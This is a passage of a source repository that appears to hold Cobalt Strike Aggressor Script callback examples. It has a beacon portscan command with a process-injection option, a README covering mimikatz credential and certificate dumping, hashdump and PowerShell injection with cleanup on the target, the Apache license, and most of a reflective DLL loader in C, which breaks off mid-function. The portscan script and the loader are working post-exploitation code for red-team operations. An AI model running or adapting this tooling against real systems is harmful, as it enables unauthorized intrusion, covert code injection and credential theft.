"internal"); # Use the IP Address 173 | %opts["--ports"] = "1-1024,3389,5900-6000"; 174 | %opts["--discovery"] = "icmp"; 175 | %opts["--maxconn"] = 1024; 176 | 177 | # Assign parameters to the opts hash map 178 | $opt_cnt = size(@_); 179 | @valid_opts = @("--targets", "--ports", "--discovery", "--maxconn", "--pid", "--arch"); 180 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 181 | # Set the arg and value for this iteration 182 | $opt = @_[$opt_ind]; 183 | $opt_ind++; 184 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 185 | 186 | # Do some simple validation on opt and value 187 | if ($opt !in @valid_opts) { 188 | berror($bid, "$opt is not a valid option."); 189 | remove_portscan_info($bid); 190 | return; 191 | } 192 | if ($value is $null || $value in @valid_opts) { 193 | berror($bid, "Missing or invalid value for the $opt option."); 194 | remove_portscan_info($bid); 195 | return; 196 | } 197 | 198 | # Save the opt and value into the opts hash 199 | %opts[$opt] = $value; 200 | } 201 | 202 | # Validate options 203 | if (%opts["--discovery"] !in @("arp", "icmp", "none")) { 204 | berror($bid, "discover method is not valid: " . %opts["--discovery"]); 205 | remove_portscan_info($bid); 206 | return; 207 | } 208 | if ( (%opts["--pid"] !is $null) || (%opts["--arch"] !is $null) ) { 209 | # At least one process injection options is used, validate them. 210 | if (!-isnumber %opts["--pid"] || %opts["--pid"] < 0) { 211 | berror($bid, "pid is not a valid: " . %opts["--pid"]); 212 | remove_portscan_info($bid); 213 | return; 214 | } 215 | if (%opts["--arch"] !in @("x86", "x64")) { 216 | berror($bid, "arch is not valid, must be x86 or x64."); 217 | remove_portscan_info($bid); 218 | return; 219 | } 220 | } 221 | 222 | # Build the info message and save part of it as the output header. 223 | $info = "beacon: $bid will execute a portscan on \'" . %opts["--targets"] . 224 | "\' for ports \'" . %opts["--ports"] . 225 | "\' using \'" . %opts["--discovery"] . 226 | "\' and max connections \'" . %opts["--maxconn"] . "\'"; 227 | %portscan_info[$bid]["header"] = substr($info, find($info, 'portscan')); 228 | 229 | 230 | # Print some info to the script console 231 | if (%opts["--pid"] >= 0 && %opts["--arch"] in @("x86", "x64")) { 232 | println("$info using process injection: \(\'" . %opts["--pid"] . "\' \'" . %opts["--arch"] . "\'\)"); 233 | } else { 234 | println("$info using fork&run"); 235 | } 236 | 237 | # Execute the command 238 | bportscan($bid, %opts["--targets"], %opts["--ports"], %opts["--discovery"], 239 | %opts["--maxconn"], %opts["--pid"], %opts["--arch"], &portscan_cb); 240 | } 241 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Cobalt Strike Aggressor Script Callback Functions 3 | 4 | With the Cobalt Strike release 4.9 support for using callbacks were added to 5 | the following Aggressor Script functions: 6 | - bnet 7 | - beacon_inline_execute 8 | - binline_execute 9 | - bdllspawn 10 | - bexecute_assembly 11 | - bhashdump 12 | - bmimikatz 13 | - bmimikatz_small 14 | - bportscan 15 | - bpowerpick 16 | - bpowershell 17 | - bpsinject 18 | 19 | With the Cobalt Strike release 4.11 support for using callbacks were added to 20 | the following Aggressor Script function: 21 | - beacon_job_register 22 | 23 | With the 4.10 release the beacon_execute_postex_job aggressor function was 24 | introduced to support the ability to send and receive information from a 25 | user defined post exploitiation dll which proivdes a huge amount of flexibility. 26 | However, there were a few commands and corresponding aggressor functions which 27 | did not support receiving output such as dllinject, dllload, execute, shinject, 28 | and shspawn. So, if you had a custom DLL, Executable, or Shell code and used 29 | one of these functions to execute them on a target then no output could be 30 | recieved. By adding support for the beacon_job_register aggressor function 31 | those functions can now receive output from a named pipe. An example of using 32 | the beacon_job_register function can be found in the dllinject folder. 33 | 34 | # Project Information 35 | 36 | In this public project there are examples for each of these functions. These 37 | are simple examples which are meant to give users a jump start on how a 38 | callback function can be useful for your red team operations. 39 | 40 | The examples use the following style: 41 | - All commands start with 'cs_' 42 | - All commands are registered using the beacon_command_register function 43 | - All commands that accept arguments use this style: `-- ` 44 | - All variables are declared in either global or local scope. 45 | - Debug information via `println("");` are commented out. 46 | 47 | As mentioned most of the examples are very simple, however there is one 48 | example that demonstrates how a callback and event listener can be used 49 | to automate something that would normally require an operator to perform 50 | multiple steps. This example is the `cs_export_certificates` command 51 | which uses the mimikatz module to export certificates, parse the output 52 | looking for filenames and download them, and once they are completely 53 | downloaded will remove them from the target. 54 | 55 | # What is a Callback 56 | 57 | A callback is used to allow the user to get access to the result and do 58 | additional processing on the information. Cobalt Strike and Aggressor 59 | Script uses the concept of callbacks because of the asynchronous behavior 60 | of sending a task to beacon and the response being received sometime in the 61 | future based on the current sleep time. 62 | 63 | Once your asynchronous callback is executed you will be able to perform the 64 | necessary operations to process the result for your use case. Here are some 65 | examples of what you can do with the result. 66 | - Format the result before displaying in the Beacon Console 67 | - Scan the result for information to trigger some additional task 68 | - Save the information to a file 69 | 70 | A callback function will have arguments and in most cases will have the same 71 | arguments, however there are some exceptions. You should always refer to the 72 | aggressor script function documentation to understand what arguments are 73 | being passed to your callback. 74 | 75 | ### Callback Request and Response Processing 76 | 77 | The following describes at a high level what goes on when a callback is used in 78 | an aggressor script command. 79 | 80 | - The client executes an aggressor script command with a callback 81 | - A request is created and saved in a queue to be retrieved later 82 | - The request is sent to the teamserver 83 | - The teamserver receives the request 84 | - The request is saved in a queue to be retrieved later 85 | - The request is sent to a beacon 86 | - The Beacon receives the request and processes the task 87 | - A response is generated and sent to the teamserver 88 | - The teamserver receives the response 89 | - The request is retrieved from the teamserver queue using an id from the response 90 | - A reply is generated and sent to the originating client 91 | - The originating client receives the response 92 | - The request is retrieved from the client queue using an id from the response 93 | - The client will execute the callback 94 | 95 | Both the client and teamserver save requests that have associated callbacks in a 96 | queue. A request is eventually removed in order to maintain the number of 97 | request in the queue. A request is removed when these two conditions occur. 98 | 99 | The first condition is when the originating client disconnects from the teamserver. 100 | When this happens the queue managed by the client is removed as the queue is per 101 | teamserver connection. The queue on the teamserver will see the originating 102 | client has disconnected and flag any requests for that client to be removed. 103 | This means the originating client needs to stay connected to the teamserver 104 | until the command with a callback has completed. Otherwise, any responses from 105 | Beacon after a disconnection from the originating client will be lost. 106 | 107 | The second condition is when there is no responses for a request after a period 108 | of time. There are two timeout settings that determine if a request should be 109 | removed. The first setting is the limits.callback_max_timeout which defaults 110 | to 1 day, which is used to wait for the initial response. The second setting 111 | is the limits.callback_keep_timeout which defaults to 1 hour, which is used to 112 | wait for subsequent responses. These settings can be modified by updating the 113 | TeamServer.prop file. In most use cases the defaults should be fine, however 114 | if you create a command that is a long-running job/task then these settings 115 | may need to be adjusted. The adjusted settings need to be based on how often 116 | data will be received, which needs to account for beacon's sleep time and how 117 | often the job/task sends data. 118 | 119 | If you see error(s) like the following in the teamserver console window then 120 | this can indicate the settings need to be adjusted or the originating client 121 | has disconnected from the teamserver. 122 | 123 | `"Callback #/# has no pending request"` 124 | 125 | The TeamServer.prop file is not included in the Cobalt Strike distribution. The 126 | current default file can be found at https://github.com/Cobalt-Strike/teamserver-prop 127 | repository. 128 | 129 | ### Callback Implementation 130 | 131 | Aggressor script callbacks can be implemented using a few different techniques 132 | and in many cases the technique used is based on your personal preference. 133 | There are some use cases where you will want to choose a particular technique 134 | in order to accomplish the task. The following are types of techniques that 135 | can be used followed by simple snippets of code: 136 | - Anonymous Closure 137 | - Named Closure 138 | - Lambda Closure 139 | 140 | #### Anonymous Closure Example 141 | 142 | An anonymous closure is useful when you have a small amount of code that 143 | can be kept inline with the caller. In this example the closure is executed 144 | in the future when data is returned from a BOF, which simply logs the output 145 | to the beacon console. 146 | 147 | alias cs_example { 148 | # User setup code removed for brevity 149 | beacon_inline_execute($bid, $data, "go", $args, { blog($1, $2); }); 150 | } 151 | 152 | #### Named Closure Example 153 | 154 | A named closure is useful when you have a lot of code and may want to reuse 155 | the code with other aggressor functions. In this example the closure named 156 | `bof_cb` is executed in the future when data is returned from a BOF. 157 | 158 | # $1 - bid, $2 - result, $3 - info map 159 | sub bof_cb { 160 | # User defined code removed for brevity 161 | } 162 | alias cs_example { 163 | local('$bid $data $args'); 164 | # User setup code removed for brevity 165 | beacon_inline_execute($bid, $data, "go", $args, &bof_cb); 166 | } 167 | 168 | #### Lambda Closure Example 169 | 170 | A lambda closure is useful when you want to pass variable(s) that would not 171 | be in scope using the previous methods. This example shows how you can 172 | get access to the $test_num variable which is in the scope of the cs_example 173 | alias. 174 | 175 | # $1 - bid, $2 - result, $3 - info map, $4 - test_num 176 | sub bof_cb { 177 | # User defined code removed for brevity 178 | } 179 | alias cs_example { 180 | local('$bid $file $test_num'); 181 | # User setup code removed for brevity 182 | binline_execute($bid, $file, $test_num, lambda({ bof_cb($1, $2, $3, $test_num); }, \$test_num); 183 | } 184 | 185 | #### File and Directory Descriptions 186 | 187 | Location | Description 188 | -------------------------------------|------------ 189 | cs_main.cna | Main CNA script to load all other script files 190 | bnet | Contains example scripts using the bnet aggressor function 191 | bof/beacon_inline_execute | Contains example script using the beacon_inline_execute aggressor function 192 | bof/binline_execute | Contains example script using the binline_execute aggressor function 193 | dllspawn/example_dll | Contains example of a reflectively loaded dll using the bdllspawn aggressor function 194 | execute_assembly/example_ea | Contains example of a .NET executable assembly using the bexecute_assembly aggressor function 195 | hashdump | Contains example script using the bhashdump aggressor function 196 | mimikatz/coffee | Contains example script using the bmimikatz aggressor function 197 | mimikatz/export_certificates | Contains example script using the bmimikatz aggressor function 198 | mimikatz/logon_passwords | Contains example script using the bmimikatz_small aggressor function 199 | portscan | Contains example script using the bportscan aggressor function 200 | powershell/bpowerpick | Contains example script using the bpowerpick aggressor function 201 | powershell/bpowershell | Contains example script using the bpowershell aggressor function 202 | powershell/psinject | Contains example script using the psinject aggressor function 203 | 204 | ## Usage 205 | 206 | To use these examples, load the cs_main.cna into Cobalt Strike. 207 | 208 | - (Optional) Review the code files and rebuild any binaries 209 | - (Optional) Open the Script console, Cobalt Strike -> Script Console 210 | - Open the Script manager, Cobalt Strike -> Script Manager 211 | - Load `/path/to/cs_main.cna` 212 | - Open a Beacon Console 213 | - Enter `help` in the Beacon Console and look for commands starting with 'cs_' 214 | - Enter `help ` in the Beacon Console and see information about the `` 215 | - Execute the `` based on the usage examples and see how it works 216 | 217 | ### References 218 | 219 | - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm 220 | - http://sleep.dashnine.org/manual/index.html 221 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /dllinject/example_dll/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | 33 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 34 | // otherwise the DllMain at the end of this file will be used. 35 | 36 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 37 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 38 | 39 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ); 40 | __declspec(noinline) ULONG_PTR caller( VOID ); 41 | 42 | // This is our position independent reflective DLL loader/injector 43 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 44 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 45 | #else 46 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 47 | #endif 48 | { 49 | // the functions we need 50 | LOADLIBRARYA pLoadLibraryA = NULL; 51 | GETPROCADDRESS pGetProcAddress = NULL; 52 | VIRTUALALLOC pVirtualAlloc = NULL; 53 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 54 | 55 | USHORT usCounter; 56 | 57 | // the initial location of this image in memory 58 | ULONG_PTR uiLibraryAddress; 59 | // the kernels base address and later this images newly loaded base address 60 | ULONG_PTR uiBaseAddress; 61 | 62 | // variables for processing the kernels export table 63 | ULONG_PTR uiAddressArray; 64 | ULONG_PTR uiNameArray; 65 | ULONG_PTR uiExportDir; 66 | ULONG_PTR uiNameOrdinals; 67 | DWORD dwHashValue; 68 | 69 | // variables for loading this image 70 | ULONG_PTR uiHeaderValue; 71 | ULONG_PTR uiValueA; 72 | ULONG_PTR uiValueB; 73 | ULONG_PTR uiValueC; 74 | ULONG_PTR uiValueD; 75 | ULONG_PTR uiValueE; 76 | 77 | // STEP 0: calculate our images current base address 78 | 79 | // we will start searching backwards from our callers return address. 80 | uiLibraryAddress = caller(); 81 | 82 | // loop through memory backwards searching for our images base address 83 | // we dont need SEH style search as we shouldnt generate any access violations with this 84 | while( TRUE ) 85 | { 86 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 87 | { 88 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 89 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 90 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 91 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 92 | { 93 | uiHeaderValue += uiLibraryAddress; 94 | // break if we have found a valid MZ/PE header 95 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 96 | break; 97 | } 98 | } 99 | uiLibraryAddress--; 100 | } 101 | 102 | // STEP 1: process the kernels exports for the functions our loader needs... 103 | 104 | // get the Process Enviroment Block 105 | #ifdef WIN_X64 106 | uiBaseAddress = __readgsqword( 0x60 ); 107 | #else 108 | #ifdef WIN_X86 109 | uiBaseAddress = __readfsdword( 0x30 ); 110 | #else WIN_ARM 111 | uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 112 | #endif 113 | #endif 114 | 115 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 116 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 117 | 118 | // get the first entry of the InMemoryOrder module list 119 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 120 | while( uiValueA ) 121 | { 122 | // get pointer to current modules name (unicode string) 123 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 124 | // set bCounter to the length for the loop 125 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 126 | // clear uiValueC which will store the hash of the module name 127 | uiValueC = 0; 128 | 129 | // compute the hash of the module name... 130 | do 131 | { 132 | uiValueC = ror( (DWORD)uiValueC ); 133 | // normalize to uppercase if the madule name is in lowercase 134 | if( *((BYTE *)uiValueB) >= 'a' ) 135 | uiValueC += *((BYTE *)uiValueB) - 0x20; 136 | else 137 | uiValueC += *((BYTE *)uiValueB); 138 | uiValueB++; 139 | } while( --usCounter ); 140 | 141 | // compare the hash with that of kernel32.dll 142 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 143 | { 144 | // get this modules base address 145 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 146 | 147 | // get the VA of the modules NT Header 148 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 149 | 150 | // uiNameArray = the address of the modules export directory entry 151 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 152 | 153 | // get the VA of the export directory 154 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 155 | 156 | // get the VA for the array of name pointers 157 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 158 | 159 | // get the VA for the array of name ordinals 160 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 161 | 162 | usCounter = 3; 163 | 164 | // loop while we still have imports to find 165 | while( usCounter > 0 ) 166 | { 167 | // compute the hash values for this function name 168 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 169 | 170 | // if we have found a function we want we get its virtual address 171 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 172 | { 173 | // get the VA for the array of addresses 174 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 175 | 176 | // use this functions name ordinal as an index into the array of name pointers 177 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 178 | 179 | // store this functions VA 180 | if( dwHashValue == LOADLIBRARYA_HASH ) 181 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 182 | else if( dwHashValue == GETPROCADDRESS_HASH ) 183 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 184 | else if( dwHashValue == VIRTUALALLOC_HASH ) 185 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 186 | 187 | // decrement our counter 188 | usCounter--; 189 | } 190 | 191 | // get the next exported function name 192 | uiNameArray += sizeof(DWORD); 193 | 194 | // get the next exported function name ordinal 195 | uiNameOrdinals += sizeof(WORD); 196 | } 197 | } 198 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 199 | { 200 | // get this modules base address 201 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 202 | 203 | // get the VA of the modules NT Header 204 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 205 | 206 | // uiNameArray = the address of the modules export directory entry 207 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 208 | 209 | // get the VA of the export directory 210 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 211 | 212 | // get the VA for the array of name pointers 213 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 214 | 215 | // get the VA for the array of name ordinals 216 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 217 | 218 | usCounter = 1; 219 | 220 | // loop while we still have imports to find 221 | while( usCounter > 0 ) 222 | { 223 | // compute the hash values for this function name 224 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 225 | 226 | // if we have found a function we want we get its virtual address 227 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 228 | { 229 | // get the VA for the array of addresses 230 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 231 | 232 | // use this functions name ordinal as an index into the array of name pointers 233 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 234 | 235 | // store this functions VA 236 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 237 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 238 | 239 | // decrement our counter 240 | usCounter--; 241 | } 242 | 243 | // get the next exported function name 244 | uiNameArray += sizeof(DWORD); 245 | 246 | // get the next exported function name ordinal 247 | 